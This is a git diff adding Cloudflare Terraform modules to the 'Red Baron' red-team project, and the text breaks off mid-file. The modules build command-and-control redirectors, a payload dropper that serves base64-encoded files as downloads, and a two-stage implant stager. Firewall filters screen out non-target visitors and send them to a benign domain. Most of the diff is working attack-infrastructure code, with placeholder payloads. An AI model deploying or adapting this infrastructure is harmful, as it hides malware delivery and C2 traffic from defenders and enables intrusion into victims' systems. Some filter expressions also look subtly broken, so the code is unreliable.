diff --git a/README.md b/README.md
index a1eedb7..d8b55ff 100644
--- a/README.md
+++ b/README.md
@@ -1,9 +1,8 @@
+# Red Baron
Latest version of this project is now being maintained here:
https://github.com/byt3bl33d3r/Red-Baron
-# Red Baron
-
diff --git a/examples/deploy-cf-infra.tf b/examples/deploy-cf-infra.tf
new file mode 100644
index 0000000..9a50699
--- /dev/null
+++ b/examples/deploy-cf-infra.tf
@@ -0,0 +1,106 @@
+// Minimum required TF version is 0.11.0
+/*
+===================================================================================================
+EXAMPLE RED BARON CLOUDFLARE MODULE USAGE
+
+cloudflare/zone_creation : Creates a DNS zone and proxied CNAME records to benign downstream domain
+cloudflare/cf-http-dropper : Creates OpSec filters and a worker script to serve a payload download
+ using a base-64 encoded string of the file contents.
+cloudflare/cf-http-redirector : Creates OpSec filters and a worker script to redirect traffic to a
+ C2 server (must be name not IP).
+ Note: Ensure the C2 server only allows inbound traffic from CloudFlare IPs
+cloudflare/cf-http-stager : Proof-of-concept module serving a multi-response JSON payload. Implant will need
+ to make initial and subsequent requests to combine and execute the payload.
+===================================================================================================
+
+INFORMATION FOR BLOCKING ALL IPs EXCEPT CLOUDFLARE SOURCES TO C2 NODES:
+
+Cloudflare IPs for inbound .htaccess
+grabbed from https://www.cloudflare.com/ips-v4 <- should pull this dynamically
+then create a aws-security group for allowed inbound on http-c2 (or http-rdir)
+173.245.48.0/20
+103.21.244.0/22
+103.22.200.0/22
+103.31.4.0/22
+141.101.64.0/18
+108.162.192.0/18
+190.93.240.0/20
+188.114.96.0/20
+197.234.240.0/22
+198.41.128.0/17
+162.158.0.0/15
+104.16.0.0/12
+172.64.0.0/13
+131.0.72.0/22
+
+https://www.linode.com/docs/web-servers/apache/how-to-set-up-htaccess-on-apache/#allow-ips
+Create or edit the .htaccess file located in the web directory where you want this setting to be applied.
+
+Add the following lines to deny all IPs except for the specific IP and pool of IPs mentioned in the command:
+
+/var/www/html/example.com/public_html
+order deny,allow
+# Denies all IP's
+Deny from all
+# This will allow the IP 192.0.2.9
+allow from 192.0.2.9
+# This will allow all IP's from 192.0.2.0 through 192.0.2.255
+allow from 192.0.2
+===================================================================================================
+*/
+
+terraform {
+ required_version = ">= 0.11.0"
+}
+
+module "zone" {
+ source = "./modules/cloudflare/zone_creation"
+ my_domain_name = "DOMAINNAME" //our frontend domain
+ benign_domain = "google.com" //the benign domain where non-agents, targets, should be redirected
+ //you'll need this: ${module.zone.zone_id}
+}
+
+//If you're using C2 then you'll need to make an entry - CloudFlare worker scripts don't work with IPs.
+module "record" {
+ source = "./modules/cloudflare/record_creation"
+ zone_id = "${module.zone.zone_id}"
+
+ hostname = "images"
+ type = "A"
+ server = "1.1.1.1"
+}
+
+module "http-redirector" {
+ source = "./modules/cloudflare/cf-http-redirector"
+ zone_id = "${module.zone.zone_id}"
+
+ my_domain_name = "DOMAINNAME" //our frontend domain
+ c2_server = "DESTINATION" //the backend C2 server
+ uri_pattern = "/agentcallback/*" //the URI that should be redirected to C2
+ filter_selection = "country" //filter setting (none, country, user_agent, referer, all)
+ country = "US" //override default filter details
+}
+
+module "http-dropper" {
+ source = "./modules/cloudflare/cf-http-dropper"
+ zone_id = "${module.zone.zone_id}"
+
+ my_domain_name = "DOMAINNAME" //our frontend domain
+ uri_pattern = "/downloads/*" //the URI that should be redirected to a payload
+ filter_selection = "country" //filter map setting
+ filename = "test.bat" //filename to present to user
+ file_content = "aGVsbG8gd29ybGQ=" //Base64 encoded payload (hello world)
+}
+
+
+module "http-stager" {
+ source = "./modules/cloudflare/cf-http-stager"
+ zone_id = "${module.zone.zone_id}"
+ my_domain_name = "DOMAINNAME" //our frontend domain
+
+ first_stage_uri_pattern = "/stage1/*" //the URI that should be redirected to first payload
+ second_stage_uri_pattern = "/stage2/*" //the URI that should be redirected to the second payload
+ filter_selection = "country" //filter map setting
+ first_stage_json = "{\"data\":\"blah\"}" //json payload
+ second_stage_json = "{\"data\":\"blah\"}" //json payload
+}
\ No newline at end of file
diff --git a/modules/cloudflare/README.md b/modules/cloudflare/README.md
new file mode 100644
index 0000000..8b26f97
--- /dev/null
+++ b/modules/cloudflare/README.md
@@ -0,0 +1,7 @@
+# CloudFlare Modules
+
+These modules were built to quickly create CloudFlare zones, filters, and worker scripts to serve as red team HTTP redirectors and payload delivery options.
+
+See blog post on Medium for background and capability walkthrough. Readme in subdirectories detail each module syntax. Example TerraForm config file can be found in examples folder.
+
+https://medium.com/@wheelsvt/redcloud-learning-from-astaroth-98ea7abd2a2c
diff --git a/modules/cloudflare/cf-http-dropper/README.md b/modules/cloudflare/cf-http-dropper/README.md
new file mode 100644
index 0000000..61a167a
--- /dev/null
+++ b/modules/cloudflare/cf-http-dropper/README.md
@@ -0,0 +1,36 @@
+# cf-http-dropper
+
+Creates a HTTP payload dropper all in CloudFlare using Worker scripts.
+
+# Example
+
+```hcl
+module "http-dropper" {
+ source = "./modules/cloudflare/cf-http-dropper"
+ zone_id = "${module.zone.zone_id}"
+
+ my_domain_name = "DOMAINNAME" //our frontend domain
+ uri_pattern = "/downloads/*" //the URI that should be redirected to a payload
+ filter_selection = "country" //filter map setting
+ filename = "test.bat" //filename to present to user
+ file_content = "aGVsbG8gd29ybGQ=" //Base64 encoded payload (hello world)
+}
+```
+
+# Arguments
+
+| Name | Required | Value Type | Description
+|---------------------------| -------- | ---------- | -----------
+|`zone_id` | Yes | String | Reference to the Zone to host the redirector
+|`my_domain_name` | Yes | String | Domain name to use
+|`uri_pattern` | Yes | String | URI pattern that will redirect to the payload
+|`filter_selection` | Yes | String | OpSec filter selection (all, country, user_agent, referer)
+|`filename` | Yes | String | Filename to send the client
+|`file_content` | Yes | String | Base64 encoded file contents
+|`user_agent` | No | String | Override user agent filter (if used)
+|`country` | No | String | Override country filter (if used)
+|`referer` | No | String | Override referer filter (if used)
+|`description` | No | String | Override Firewall rule
+|`visit_action` | No | String | Override Firewall action (block or captcha)
+|`worker_name` | No | String | Override Worker name prefix (cf-http-redirector)
+|`worker_script_content` | No | String | Override Worker content (heart of the redirection)
diff --git a/modules/cloudflare/cf-http-dropper/main.tf b/modules/cloudflare/cf-http-dropper/main.tf
new file mode 100644
index 0000000..321c1c6
--- /dev/null
+++ b/modules/cloudflare/cf-http-dropper/main.tf
@@ -0,0 +1,33 @@
+terraform {
+ required_version = ">= 0.11.0"
+}
+
+
+
+//Need Filter --> Firewall Rule
+module "http-filter" {
+ source = "../filter"
+ zone_id = "${var.zone_id}"
+ URI = "${var.uri_pattern}"
+ UA = "${var.user_agent}"
+ referer = "${var.referer}"
+ filter_selection = "${var.filter_selection}"
+}
+
+module "http-firewall" {
+ source = "../firewall_rule"
+ zone_id = "${var.zone_id}"
+ description = "${var.description}"
+ f_id = "${module.http-filter.filter_id}"
+ action = "${var.visit_action}"
+}
+
+//Then worker route and finally a script to do the redirection
+//make sure we name the script the same in deploy.
+module "worker" {
+ source = "../worker_creation"
+ matching_uri = "${format("%s%s",var.my_domain_name, var.uri_pattern)}"
+ worker_script_content = "${replace(replace(var.worker_script_content,"BASE64FILECONTENT",var.file_content),"FILENAME",var.filename)}"
+ worker_name = "${var.worker_name}"
+ zid = "${var.zone_id}"
+}
\ No newline at end of file
diff --git a/modules/cloudflare/cf-http-dropper/variables.tf b/modules/cloudflare/cf-http-dropper/variables.tf
new file mode 100644
index 0000000..9ebc503
--- /dev/null
+++ b/modules/cloudflare/cf-http-dropper/variables.tf
@@ -0,0 +1,71 @@
+
+variable "uri_pattern" {
+
+}
+
+variable "filter_selection" {
+}
+
+variable "worker_name" {
+ default = "cf-http-dropper"//won't need to change unless more than one dropper
+}
+
+variable "zone_id" {
+}
+
+variable "my_domain_name" {
+
+}
+
+variable "file_content" {
+}
+variable "filename" {
+}
+
+//our default C2 script - just pass request on to target domain
+variable "worker_script_content" {
+ default = <<-EOF
+payload = "BASE64FILECONTENT"
+function base64Encode (buf) {
+let string = '';
+(new Uint8Array(buf)).forEach(
+(byte) => { string += String.fromCharCode(byte) }
+)
+return btoa(string)
+}
+function base64Decode (string) {
+string = atob(string);
+const
+length = string.length,
+buf = new ArrayBuffer(length),
+bufView = new Uint8Array(buf);
+for (var i = 0; i < length; i++) { bufView[i] = string.charCodeAt(i) }
+return buf
+}
+async function handleRequest(request) {
+let response = new Response(base64Decode(payload), {
+headers: { 'Content-Disposition': 'attachment; filename="FILENAME"' }
+})
+return response}addEventListener('fetch', event => { event.respondWith(handleRequest(event.request))})
+EOF
+}
+
+variable "user_agent" {
+ default = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
+}
+
+variable "visit_action" {
+ default = "block"
+}
+variable "description" {
+ default = "Dropper-Filter"
+}
+
+variable "referer" {
+ default = "NONE"
+}
+
+variable "country" {
+ default = "US"
+}
+
diff --git a/modules/cloudflare/cf-http-redirector/README.md b/modules/cloudflare/cf-http-redirector/README.md
new file mode 100644
index 0000000..ed61323
--- /dev/null
+++ b/modules/cloudflare/cf-http-redirector/README.md
@@ -0,0 +1,38 @@
+# cf-http-rdir
+
+Creates a HTTP payload dropper all in CloudFlare using Worker scripts.
+Note: the
+
+# Example
+
+```hcl
+module "http-redirector" {
+ source = "./modules/cloudflare/cf-http-redirector"
+ zone_id = "${module.zone.zone_id}"
+
+ my_domain_name = "DOMAINNAME" //our frontend domain
+ c2_server = "DESTINATION" //our backend domain
+ uri_pattern = "/agentcallback/*" //the URI that should be redirected to C2
+ filter_selection = "country" //filter setting (none, country, user_agent, referer, all)
+ country = "US" //override default filter details
+}
+```
+
+# Arguments
+
+| Name | Required | Value Type | Description
+|---------------------------| -------- | ---------- | -----------
+|`zone_id` | Yes | String | Reference to the Zone to host the redirector
+|`my_domain_name` | Yes | String | Domain name to use
+|`c2_server` | Yes | String | FQDN of our C2 server (CloudFlare refuses IPs)
+|`uri_pattern` | Yes | String | URI pattern that will redirect to C2 server
+|`filter_selection` | Yes | String | OpSec filter selection (all, country, user_agent, referer)
+|`filename` | Yes | String | Filename to send the client
+|`file_content` | Yes | String | Base64 encoded file contents
+|`user_agent` | No | String | Override user agent filter (if used)
+|`country` | No | String | Override country filter (if used)
+|`referer` | No | String | Override referer filter (if used)
+|`description` | No | String | Override Firewall rule
+|`worker_name` | No | String | Override Worker name prefix (cf-http-redirector)
+|`worker_script_content` | No | String | Override Worker content (heart of the redirection)
+
diff --git a/modules/cloudflare/cf-http-redirector/main.tf b/modules/cloudflare/cf-http-redirector/main.tf
new file mode 100644
index 0000000..6e5ffb1
--- /dev/null
+++ b/modules/cloudflare/cf-http-redirector/main.tf
@@ -0,0 +1,33 @@
+terraform {
+ required_version = ">= 0.11.0"
+}
+
+
+
+//Need Filter --> Firewall Rule
+module "http-filter" {
+ source = "../filter"
+ zone_id = "${var.zone_id}"
+ URI = "${var.uri_pattern}"
+ UA = "${var.user_agent}"
+ referer = "${var.referer}"
+ filter_selection = "${var.filter_selection}"
+}
+
+module "http-firewall" {
+ source = "../firewall_rule"
+ zone_id = "${var.zone_id}"
+ description = "${var.description}"
+ f_id = "${module.http-filter.filter_id}"
+ action = "block"
+}
+
+//Then worker route and finally a script to do the redirection
+//make sure we name the script the same in deploy.
+module "worker-route" {
+ source = "../worker_creation"
+ matching_uri = "${format("%s%s",var.my_domain_name, var.uri_pattern)}"
+ worker_name = "${var.worker_name}"
+ worker_script_content = "${replace(var.worker_script_content,"C2DOMAIN",var.c2_server)}"
+ zid = "${var.zone_id}"
+}
\ No newline at end of file
diff --git a/modules/cloudflare/cf-http-redirector/variables.tf b/modules/cloudflare/cf-http-redirector/variables.tf
new file mode 100644
index 0000000..6b09a6c
--- /dev/null
+++ b/modules/cloudflare/cf-http-redirector/variables.tf
@@ -0,0 +1,56 @@
+
+variable "uri_pattern" {
+
+}
+
+variable "user_agent" {
+ default = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
+}
+
+variable "description" {
+ default = "C2-Filter"
+}
+
+variable "referer" {
+ default = "NONE"
+}
+
+variable "country" {
+ default = "US"
+}
+
+variable "filter_selection" {
+}
+
+variable "worker_name" {
+ default = "cf-http-redirector"//won't need to change unless more than one redirector needed
+}
+
+variable "zone_id" {
+}
+
+variable "my_domain_name" {
+
+}
+
+variable "c2_server" {
+
+}
+
+//our default C2 script - just pass request on to target domain
+variable "worker_script_content" {
+ default = <<-EOF
+addEventListener('fetch', event => {
+event.respondWith(handleRequest(event.request))
+})
+/*
+* Respond to the request
+* @param {Request}
+*/
+async function handleRequest(request) {
+let url = new URL(request.url)
+url.hostname = "C2DOMAIN"
+return fetch(url, request)
+}
+EOF
+}
diff --git a/modules/cloudflare/cf-http-stager/README.md b/modules/cloudflare/cf-http-stager/README.md
new file mode 100644
index 0000000..2439f68
--- /dev/null
+++ b/modules/cloudflare/cf-http-stager/README.md
@@ -0,0 +1,38 @@
+# cf-http-stager
+
+Proof-of-concept code for a Worker that sends a multi-request JSON response for an implant (code not created yet) using a combination of the other cf modules.
+Note that the second stage request must be a POST as currently configured in the worker script for an example of using different validation checks between payload requests.
+
+# Example
+
+```hcl
+module "http-stager" {
+ source = "./modules/cloudflare/cf-http-stager"
+ zone_id = "${module.zone.zone_id}"
+ my_domain_name = "DOMAINNAME" //our frontend domain
+
+ first_stage_uri_pattern = "/stage1/*" //the URI that should be redirected to first payload
+ second_stage_uri_pattern = "/stage2/*" //the URI that should be redirected to the second payload
+ filter_selection = "country" //filter map setting
+ first_stage_json = "{\"data\":\"blah\"}" //json payload
+ second_stage_json = "{\"data\":\"blah\"}" //json payload
+}
+```
+
+# Arguments
+
+| Name | Required | Value Type | Description
+|---------------------------| -------- | ---------- | -----------
+|`zone_id` | Yes | String | Reference to the Zone to host the redirector
+|`my_domain_name` | Yes | String | Domain name to use
+|`first_stage_uri_pattern` | Yes | String | URI pattern that will redirect to the first payload
+|`second_stage_uri_pattern` | Yes | String | URI pattern that will redirect to the second payload
+|`filter_selection` | Yes | String | OpSec filter selection (all, country, user_agent, referer)
+|`first_stage_json` | Yes | String | JSON response to return for a valid first stage request
+|`second_stage_json` | Yes | String | JSON response to return for a valid second stage request
+|`user_agent` | No | String | Override user agent filter (if used)
+|`country` | No | String | Override country filter (if used)
+|`referer` | No | String | Override referer filter (if used)
+|`description` | No | String | Override Firewall rule
+|`worker_name` | No | String | Override Worker name prefix (cf-http-redirector)
+|`worker_script_content` | No | String | Override Worker content (heart of the redirection)
diff --git a/modules/cloudflare/cf-http-stager/main.tf b/modules/cloudflare/cf-http-stager/main.tf
new file mode 100644
index 0000000..847273c
--- /dev/null
+++ b/modules/cloudflare/cf-http-stager/main.tf
@@ -0,0 +1,59 @@
+terraform {
+ required_version = ">= 0.11.0"
+}
+
+
+
+//Need Filter --> Firewall Rule
+module "http-filter-stage1" {
+ source = "../filter"
+ zone_id = "${var.zone_id}"
+ URI = "${var.first_stage_uri_pattern}"
+ UA = "${var.user_agent}"
+ referer = "${var.referer}"
+ filter_selection = "${var.filter_selection}"
+}
+
+module "http-firewall-stage1" {
+ source = "../firewall_rule"
+ zone_id = "${var.zone_id}"
+ description = "${var.description}"
+ f_id = "${module.http-filter-stage1.filter_id}"
+ action = "block"
+}
+
+module "http-filter-stage2" {
+ source = "../filter"
+ zone_id = "${var.zone_id}"
+ URI = "${var.second_stage_uri_pattern}"
+ UA = "${var.user_agent}"
+ referer = "${var.referer}"
+ filter_selection = "${var.filter_selection}"
+}
+
+module "http-firewall-stage2" {
+ source = "../firewall_rule"
+ zone_id = "${var.zone_id}"
+ description = "${var.description}"
+ f_id = "${module.http-filter-stage2.filter_id}"
+ action = "block"
+}
+
+//Then worker route and finally a script to do the redirection
+//make sure we name the script the same in deploy.
+module "worker-route-stage1"{
+ source = "../worker_creation"
+ matching_uri = "${format("%s%s",var.my_domain_name, var.first_stage_uri_pattern)}"
+ worker_name = "${var.worker_name}1"
+ worker_script_content = "${replace(replace(replace(replace(var.worker_script_content,"FIRSTSTAGE",var.first_stage_uri_pattern),"SECONDSTAGE",var.second_stage_uri_pattern),"SOMEJSON1",var.first_stage_json),"SOMEJSON2",var.second_stage_json)}"
+ zid = "${var.zone_id}"
+}
+
+//same worker script handles both as it checks self-generated hand-off
+module "worker-route-stage2"{
+ source = "../worker_creation"
+ matching_uri = "${format("%s%s",var.my_domain_name, var.second_stage_uri_pattern)}"
+ worker_name = "${var.worker_name}2"
+ worker_script_content = "${replace(replace(replace(replace(var.worker_script_content,"FIRSTSTAGE",var.first_stage_uri_pattern),"SECONDSTAGE",var.second_stage_uri_pattern),"SOMEJSON1",var.first_stage_json),"SOMEJSON2",var.second_stage_json)}"
+ zid = "${var.zone_id}"
+}
\ No newline at end of file
diff --git a/modules/cloudflare/cf-http-stager/variables.tf b/modules/cloudflare/cf-http-stager/variables.tf
new file mode 100644
index 0000000..ca945b3
--- /dev/null
+++ b/modules/cloudflare/cf-http-stager/variables.tf
@@ -0,0 +1,78 @@
+
+variable "first_stage_uri_pattern" {
+
+}
+variable "second_stage_uri_pattern" {
+
+}
+variable "filter_selection" {
+}
+
+variable "worker_name" {
+ default = "cf-http-stager"//don't need to change default unless we have more than 1 stager module
+}
+
+variable "zone_id" {
+}
+
+variable "my_domain_name" {
+
+}
+
+variable "first_stage_json" {
+
+}
+
+variable "second_stage_json" {
+
+}
+
+
+variable "description" {
+ default = "C2-Filter"
+}
+//Firewall filter definitions
+variable "user_agent" {
+ default = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
+}
+variable "referer" {
+ default = "NONE"
+}
+variable "country" {
+ default = "US"
+}
+
+//our default C2 script - just pass request on to target domain
+variable "worker_script_content" {
+ default = <<-EOF
+addEventListener('fetch', event => {
+event.respondWith(handleRequest(event.request))
+})
+function stage_one_handler(request) {
+const init = {
+headers: { 'content-type': 'application/json' },
+}
+//const body = JSON.stringify({ some: 'json' })
+const body = JSON.stringify(SOMEJSON1)
+return new Response(body, init)
+}
+function stage_two_handler(request) {
+const init = {
+headers: { 'content-type': 'application/json' },
+}
+//const body = JSON.stringify({ some: 'json2' })
+const body = JSON.stringify(SOMEJSON2)
+return new Response(body, init)
+}
+async function handleRequest(request) {
+let url = new URL(request.url)
+if (url.pathname.includes("FIRSTSTAGE")) {
+return new stage_one_handler(request)
+}
+if (request.method === 'POST' && url.pathname.includes("SECONDSTAGE")) {
+return new stage_two_handler(request)
+}
+return new Response( 'Some other time.')
+}
+EOF
+}
\ No newline at end of file
diff --git a/modules/cloudflare/filter/README.md b/modules/cloudflare/filter/README.md
new file mode 100644
index 0000000..131cc78
--- /dev/null
+++ b/modules/cloudflare/filter/README.md
@@ -0,0 +1,34 @@
+# filter
+
+Creates a filter to be assigned to a CloudFlare firewall rule
+
+# Example
+
+```hcl
+module "http-filter-name" {
+ source = "../filter"
+ zone_id = "${var.zone_id}"
+ URI = "${var.uri_pattern}"
+ UA = "${var.user_agent}"
+ referer = "${var.referer}"
+ filter_selection = "${var.filter_selection}"
+}
+```
+
+# Arguments
+
+| Name | Required | Value Type | Description
+|---------------------------| -------- | ---------- | -----------
+|`zone_id` | Yes | String | Reference to the Zone to host the redirector
+|`URI` | No | String | Matching URI pattern to match
+|`UA` | No | String | URI pattern that will redirect to the first payload
+|`Country` | No | String | Override country filter (if used)
+|`referer` | No | String | Override referer filter (if used)
+
+# Outputs
+
+| Name | Value Type | Description
+|---------------------------| ---------- | -----------
+|`filter_id` | Int | Used by Firewall Rules to reference the filter
+|`filter_string` | String | String containing the mapped filter selection
+|`f_types` | Map | Map of potential firewall filter sets and the rule strings
diff --git a/modules/cloudflare/filter/main.tf b/modules/cloudflare/filter/main.tf
new file mode 100644
index 0000000..5c64898
--- /dev/null
+++ b/modules/cloudflare/filter/main.tf
@@ -0,0 +1,6 @@
+resource "cloudflare_filter" "filter" {
+ zone_id = var.zone_id
+ description = ""
+ expression = "${replace(replace(replace(replace("${lookup(var.f_types,var.filter_selection,"na")}", "URISTRING", var.URI), "UASTRING", var.UA), "COUNTRYSTRING", var.Country), "REFERERSTRING", var.referer)}"
+}
+
diff --git a/modules/cloudflare/filter/variables.tf b/modules/cloudflare/filter/variables.tf
new file mode 100644
index 0000000..7d4f92f
--- /dev/null
+++ b/modules/cloudflare/filter/variables.tf
@@ -0,0 +1,44 @@
+
+
+
+variable "zone_id" {
+}
+
+variable "URI" {
+ default = "www"
+}
+
+variable "referer" {
+ default = "INSERT MOST COMMON UA HERE"
+}
+
+variable "UA" {
+ default = "INSERT MOST COMMON UA HERE"
+}
+
+variable "Country" {
+ default = "US"
+}
+
+variable "f_types" {
+ type = "map"
+ default = {
+ "none" = "(http.request.uri contains \"URISTRING\")"
+ "all" = "(http.request.uri contains \"URISTRING\" and ip.geoip.country ne \"COUNTRYSTRING\") or (http.request.uri contains \"URISTRING\" and http.user_agent ne \"UASTRING\") or (http.request.uri contains \"URISTRING\" and http.referer ne \"REFERERSTRING\")"
+ "user_agent" = "(http.request.user_agent contains \"URISTRING\" and http.user_agent ne \"USERAGENTSTRING\")"
+ "referer" = "(http.request.uri contains \"URISTRING\" and http.referer ne \"REFERERSTRING\")"
+ "country" = "(http.request.uri contains \"URISTRING\" and ip.geoip.country ne \"COUNTRYSTRING\")"
+ }
+}
+
+output "filter_string" {
+ value = "${lookup(var.f_types,var.filter_selection,"none")}"
+}
+
+variable "filter_selection" {
+ default = "country"
+}
+
+output "filter_id" {
+ value = "${cloudflare_filter.filter.id}"
+}
\ No newline at end of file
diff --git a/modules/cloudflare/firewall_rule/README.md b/modules/cloudflare/firewall_rule/README.md
new file mode 100644
index 0000000..5c46b21
--- /dev/null
+++ b/modules/cloudflare/firewall_rule/README.md
@@ -0,0 +1,24 @@
+# firewall_rule
+
+Creates a CloudFlare firewall rule
+
+# Example
+
+```hcl
+module "http-firewall" {
+ source = "../firewall_rule"
+ zone_id = "${var.zone_id}"
+ description = "${var.description}"
+ f_id = "${module.http-filter.filter_id}"
+ action = "block"
+}
+```
+
+# Arguments
+
+| Name | Required | Value Type | Description
+|---------------------------| -------- | ---------- | -----------
+|`zone_id` | Yes | String | Reference to the Zone to host the redirector
+|`description` | Yes | String | Firewall rule name
+|`f_id` | Yes | String | CloudFlare Filter ID containing the rule logic
+|`action` | No | String | Override the default action (Block vs captcha)
diff --git a/modules/cloudflare/firewall_rule/main.tf b/modules/cloudflare/firewall_rule/main.tf
new file mode 100644
index 0000000..da9263b
--- /dev/null
+++ b/modules/cloudflare/firewall_rule/main.tf
@@ -0,0 +1,17 @@
+
+
+resource "random_id" "firewall_rule" {
+ keepers = {
+ #Generate a new id each time we switch to a new worker name
+ name = "${var.description}"
+ }
+ byte_length = 8
+}
+
+resource "cloudflare_firewall_rule" "firewall_rule_agent" {
+ zone_id = "${var.zone_id}"
+ description = "${var.description}_${random_id.firewall_rule.hex}"
+ filter_id = "${var.f_id}"
+ action = "${var.action}"//challenge or block
+ //priority = 1000//sets the order - higher is lower, but shouldn't need this if URI matches differ
+}
\ No newline at end of file
diff --git a/modules/cloudflare/firewall_rule/variables.tf b/modules/cloudflare/firewall_rule/variables.tf
new file mode 100644
index 0000000..24a2f3e
--- /dev/null
+++ b/modules/cloudflare/firewall_rule/variables.tf
@@ -0,0 +1,14 @@
+ variable "zone_id" {
+ }
+
+ variable "description" {
+ }
+
+//filter_id
+ variable "f_id" {
+ }
+
+//block of challenge
+variable "action" {
+ default = "block"
+}
diff --git a/modules/cloudflare/record_creation/README.md b/modules/cloudflare/record_creation/README.md
new file mode 100644
index 0000000..347afef
--- /dev/null
+++ b/modules/cloudflare/record_creation/README.md
@@ -0,0 +1,26 @@
+# filter
+
+Creates a CloudFlare Worker Zone for managing a domain name. Prerequisite for any CF modules.
+
+Note: Currently, there is no module for changing your domain name NS records to CloudFlare's. Usually CloudFlare instructs you to configure `angela.cloudflare.com` and `gannon.cloudflare.com` as authoritative nameservers for your domain. You will need to do this to use these modules.
+
+# Example
+
+```hcl
+module "record" {
+ source = "./modules/cloudflare/record_creation"
+ my_domain_name = "DOMAINNAME" //our frontend domain
+ hostname = "www" //the benign domain where non-agents, targets, should be redirected
+ type = "A"
+ server = "1.1.1.1"
+}
+```
+
+# Arguments
+
+| Name | Required | Value Type | Description
+|---------------------------| -------- | ---------- | -----------
+|`my_domain_name` | Yes | String | The domain that CloudFlare should handle
+|`hostname` | Yes | String | Benign domain to send any unmatched requests
+|`type` | Yes | String | Type of record (A, CNAME, etc.)
+|`server` | Yes | String | The backend server this record points to
diff --git a/modules/cloudflare/record_creation/main.tf b/modules/cloudflare/record_creation/main.tf
new file mode 100644
index 0000000..ad2f814
--- /dev/null
+++ b/modules/cloudflare/record_creation/main.tf
@@ -0,0 +1,11 @@
+//setup our benign CNAME relay. No need to clone
+
+//our overall domain
+resource "cloudflare_record" "record" {
+ zone_id = "${var.zone_id}"
+ name = "${var.hostname}"
+ type = "${var.type}"
+ ttl = "1"
+ proxied = "true"
+ value = "${var.server}"
+}
diff --git a/modules/cloudflare/record_creation/variables.tf b/modules/cloudflare/record_creation/variables.tf
new file mode 100644
index 0000000..091b54a
--- /dev/null
+++ b/modules/cloudflare/record_creation/variables.tf
@@ -0,0 +1,20 @@
+//this is your domain
+variable "my_domain_name" {
+}
+
+variable "zone_id" {
+
+}
+
+//By default we'll make a record for the www A record
+variable "hostname" {
+ default = "www"
+}
+
+variable "type" {
+ default = "A"
+}
+
+variable "server" {
+ default = "1.1.1.1"
+}
\ No newline at end of file
diff --git a/modules/cloudflare/worker_creation/README.md b/modules/cloudflare/worker_creation/README.md
new file mode 100644
index 0000000..4160ed4
--- /dev/null
+++ b/modules/cloudflare/worker_creation/README.md
@@ -0,0 +1,27 @@
+# worker_creation
+
+Creates a CloudFlare Worker Route and Worker Script
+Note that the matching URI accepts wildcards.
+
+matching_uri example: `*.example.com\blah*` would match requests CloudFlare handles for all subdomains of example.com that also are requesting a URI that begins with `blah`.
+
+# Example
+
+```hcl
+module "worker-route" {
+ source = "../worker_creation"
+ matching_uri = "${format("%s%s",var.my_domain_name, var.uri_pattern)}"
+ worker_name = "${var.worker_name}"
+ worker_script_content = "${replace(var.worker_script_content,"C2DOMAIN",var.c2_server)}"
+ zid = "${var.zone_id}"
+}
+```
+
+# Arguments
+
+| Name | Required | Value Type | Description
+|---------------------------| -------- | ---------- | -----------
+|`zid` | Yes | String | Reference to the Zone to host the redirector
+|`matching_uri` | Yes | String | URI Pattern to match (use * wildcard)
+|`worker_name` | Yes | String | Worker name to use, will append a unique value
+|`worker_script_content` | Yes | String | Worker script content
diff --git a/modules/cloudflare/worker_creation/main.tf b/modules/cloudflare/worker_creation/main.tf
new file mode 100644
index 0000000..e0b6c27
--- /dev/null
+++ b/modules/cloudflare/worker_creation/main.tf
@@ -0,0 +1,26 @@
+//WORKER SCRIPT CREATION IS BROKEN.
+//USE THE DEPLOY SCRIPT TO GENERATE THE WORKER SCRIPT
+//WITH MATCHING VARIABLES FROM THIS MODULE.
+
+// * cloudflare_worker_script.worker_script: error creating worker script: account ID required for enterprise only request
+
+resource "random_id" "worker_script" {
+ keepers = {
+ #Generate a new id each time we switch to a new worker name
+ name = "${var.worker_name}"
+ }
+ byte_length = 8
+}
+
+resource "cloudflare_worker_script" "worker_script" {
+ name = "${var.worker_name}_${random_id.worker_script.hex}"
+ content = "${var.worker_script_content}"
+}
+
+resource "cloudflare_worker_route" "worker_request" {
+
+ pattern = "${var.matching_uri}"
+ zone_id = "${var.zid}"
+ script_name = "${var.worker_name}_${random_id.worker_script.hex}"
+}
+
diff --git a/modules/cloudflare/worker_creation/variables.tf b/modules/cloudflare/worker_creation/variables.tf
new file mode 100644
index 0000000..27f25af
--- /dev/null
+++ b/modules/cloudflare/worker_creation/variables.tf
@@ -0,0 +1,15 @@
+variable "matching_uri" {
+}
+
+//use this variable to tie instances (route and worker) together
+//for a given module
+variable "worker_name" {
+ default = "worker_name"
+}
+
+variable "zid" {
+}
+
+variable "worker_script_content" {
+ default = "\\test"
+}
\ No newline at end of file
diff --git a/modules/cloudflare/zone_creation/README.md b/modules/cloudflare/zone_creation/README.md
new file mode 100644
index 0000000..0e04276
--- /dev/null
+++ b/modules/cloudflare/zone_creation/README.md
@@ -0,0 +1,25 @@
+# filter
+
+Creates a CloudFlare Worker Zone for managing a domain name. Prerequisite for any CF modules.
+
+Note: Currently, there is no module for changing your domain name NS records to CloudFlare's. Usually CloudFlare instructs you to configure `angela.cloudflare.com` and `gannon.cloudflare.com` as authoritative nameservers for your domain. You will need to do this to use these modules.
+
+# Example
+
+```hcl
+module "zone" {
+ source = "./modules/cloudflare/zone_creation"
+ my_domain_name = "DOMAINNAME" //our frontend domain
+ benign_domain = "google.com" //the benign domain where non-agents, targets, should be redirected
+ a_record = "www"
+ //you'll need this: ${module.zone.zone_id}
+}
+```
+
+# Arguments
+
+| Name | Required | Value Type | Description
+|---------------------------| -------- | ---------- | -----------
+|`my_domain_name` | Yes | String | The domain that CloudFlare should handle
+|`benign_domain` | Yes | String | Benign domain to send any unmatched requests
+|`cname_record` | No | String | Override additional CNAME record entry that should be added, defaults to `www`
diff --git a/modules/cloudflare/zone_creation/main.tf b/modules/cloudflare/zone_creation/main.tf
new file mode 100644
index 0000000..8dfcee9
--- /dev/null
+++ b/modules/cloudflare/zone_creation/main.tf
@@ -0,0 +1,83 @@
+//setup our benign CNAME relay. No need to clone
+
+//our overall domain
+resource "cloudflare_zone" "target_domain" {
+ zone = "${var.my_domain_name}"
+ plan = "free"
+}
+
+//set the @ record
+resource "cloudflare_record" "benign_CNAME" {
